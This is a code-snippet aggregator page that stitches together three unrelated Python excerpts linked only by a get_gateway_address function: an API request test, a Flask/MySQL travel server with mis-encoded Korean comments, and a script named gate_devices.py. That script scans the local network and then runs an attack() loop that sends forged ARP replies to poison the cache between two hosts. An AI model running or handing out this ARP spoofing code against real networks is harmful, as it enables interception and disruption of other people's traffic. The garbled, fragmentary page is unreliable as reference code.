Best Python code snippet using Airtest
test_request.py
Source:test_request.py
...25 'gateway_addresses': ['12.34.56.78:1234', 'http://127.0.0.1:80'],26 }27 request = Request(**values)28 assert request.get_gateway_protocol() == values['gateway_protocol']29 assert request.get_gateway_address() == values['gateway_addresses'][1]30 assert request.get_client_address() == values['client_address']31 assert request.get_service_name() == ''32 assert request.get_service_version() == ''33 assert request.get_action_name() == ''34 assert request.get_http_request() is None35 # Check service related setters36 request.set_service_name(service_name)37 request.set_service_version(service_version)38 request.set_action_name(action_name)39 assert request.get_service_name() == service_name40 assert request.get_service_version() == service_version41 assert request.get_action_name() == action_name42 # Check parameters43 assert request.get_params() == []44 assert request.has_param('foo') is False45 param = request.get_param('foo')46 assert isinstance(param, Param)47 assert not param.exists()48 param = Param('foo', value=42)49 assert request.set_param(param) == request50 assert request.has_param('foo')51 # Result is not the same parameter, but is has the same values52 foo_param = request.get_param('foo')53 assert foo_param != param54 assert foo_param.get_name() == param.get_name()55 assert foo_param.get_type() == param.get_type()56 assert foo_param.get_value() == param.get_value()57 params = request.get_params()58 assert len(params) == 159 foo_param = params[0]60 assert foo_param.get_name() == param.get_name()61 assert foo_param.get_type() == param.get_type()62 assert foo_param.get_value() == param.get_value()63def test_api_request_new_response():64 SchemaRegistry()65 values = {66 'rid': 'TEST',67 'attributes': {},68 'component': object(),69 'path': '/path/to/file.py',70 'name': 'dummy',71 'version': '1.0',72 'framework_version': '1.0.0',73 'client_address': '205.81.5.62:7681',74 'gateway_protocol': urn.HTTP,75 'gateway_addresses': ['12.34.56.78:1234', 'http://127.0.0.1:80'],76 }77 request = Request(**values)78 # Create an HTTP response with default values79 response = request.new_response()80 assert isinstance(response, Response)81 assert response.get_gateway_protocol() == request.get_gateway_protocol()82 assert response.get_gateway_address() == request.get_gateway_address()83 assert isinstance(response.get_transport(), Transport)84 # An HTTP response is created when using HTTP as protocol85 http_response = response.get_http_response()86 assert http_response is not None87 assert http_response.get_status() == '200 OK'88 # Create a response with HTTP status values89 response = request.new_response(418, "I'm a teapot")90 assert isinstance(response, Response)91 http_response = response.get_http_response()92 assert http_response is not None93 assert http_response.get_status() == "418 I'm a teapot"94 # Create a response for other ptotocol95 values['gateway_protocol'] = urn.KTP96 request = Request(**values)97 response = request.new_response()98 assert isinstance(response, Response)99 assert response.get_gateway_protocol() == request.get_gateway_protocol()100 assert response.get_gateway_address() == request.get_gateway_address()101 assert isinstance(response.get_transport(), Transport)102 # Check that no HTTP response was created103 assert response.get_http_response() is None104 # Create an HTTP request with request data105 values['gateway_protocol'] = urn.HTTP106 values['http_request'] = {107 'method': 'GET',108 'url': 'http://foo.com/bar/index/',109 }110 request = Request(**values)111 assert isinstance(request.get_http_request(), HttpRequest)112def test_api_request_new_param():113 SchemaRegistry()114 values = {...
server.py
Source:server.py
...4from folium import plugins5import netifaces6app = Flask(__name__)7'''8* get_gateway_address()ë LocalHost gateway ì 보를 ë°í9* @ https://pypi.org/project/netifaces/10* @ ex) ìì±ìì ip 주ìì¸ '192.168.0.10'ì ë°í11'''12def get_gateway_address():13 return netifaces.gateways()['default'][2][0]14# DB 기본 ì¤ì 15HOST = get_gateway_address() #'192.168.0.10'16# HOST = 'localhost'17PORT = 330618USER = "username"19PASSWD = "dbpass"20CHARSET = "utf8"21db_name = 'travel'22table_name = ['countries_location', 'status']23'''24* Databaseë¡ ì ê·¼íì¬ status tableì 모ë ì 보를 ê°ì ¸ì´25* @ pymysql 모ëì ì¬ì©í´ DBë¡ ì ê·¼íê³ ('ì
êµê·ì ', 'ê²ìê·ì ','격리ê·ì ','íì¹ê·ì ')ê°ì returní¨26* @ cursor ê°ì²´ì execute() ë©ìë를 ì¬ì©íì¬ ìì±í ì½ë를 DBìë²ì ë³´ë27'''28def get_datas(country:str) -> str:29 with pymysql.connect(...
gate_devices.py
Source:gate_devices.py
...3from termcolor import colored4import time5def has_root():6 return os.geteuid() == 07def get_gateway_address():8 gateways = netifaces.gateways()9 global gateway_address10 gateway_address = gateways["default"][netifaces.AF_INET][0]11def connected(ip_range):12 arp_request = ARP(pdst=ip_range)13 broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")14 arp_request_broadcast = broadcast/arp_request15 response = srp(arp_request_broadcast, timeout=1, verbose=False)[0]16 global clients17 clients = []18 for client in response:19 client_info = {"ip" : client[1].psrc, "mac" : client[1].src}20 clients.append(client_info)21 print(colored(clients, 'blue'))22def call_connected():23 get_gateway_address()24 class_a = [i for i in range(0,127)]25 class_b = [i for i in range(127,192)]26 class_c = [i for i in range(192,224)]27 g_s = gateway_address.split('.')28 g_s[-1] = '0'29 range_ip = ".".join(g_s)30 if int(g_s[0]) in class_a:31 connected(f'{range_ip}/8')32 elif int(g_s[0]) in class_b:33 connected(f'{range_ip}/16')34 elif int(g_s[0]) in class_c:35 connected(f'{range_ip}/24')36 else:37 print("Adresse IP non prise en charge")38def attack():39 get_gateway_address()40 if len(clients) > 1:41 print("Lauching attack...")42 while True:43 packet = ARP(44 op=2,45 psrc = clients[0]['ip'],46 hwsrc = clients[0]['mac'],47 pdst = clients[1]['ip'],48 hwdst = clients[1]['mac'],49 )50 send(packet, verbose=False)51 else:52 print(colored("No devices to attack", "red"))53if __name__ == "__main__":...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!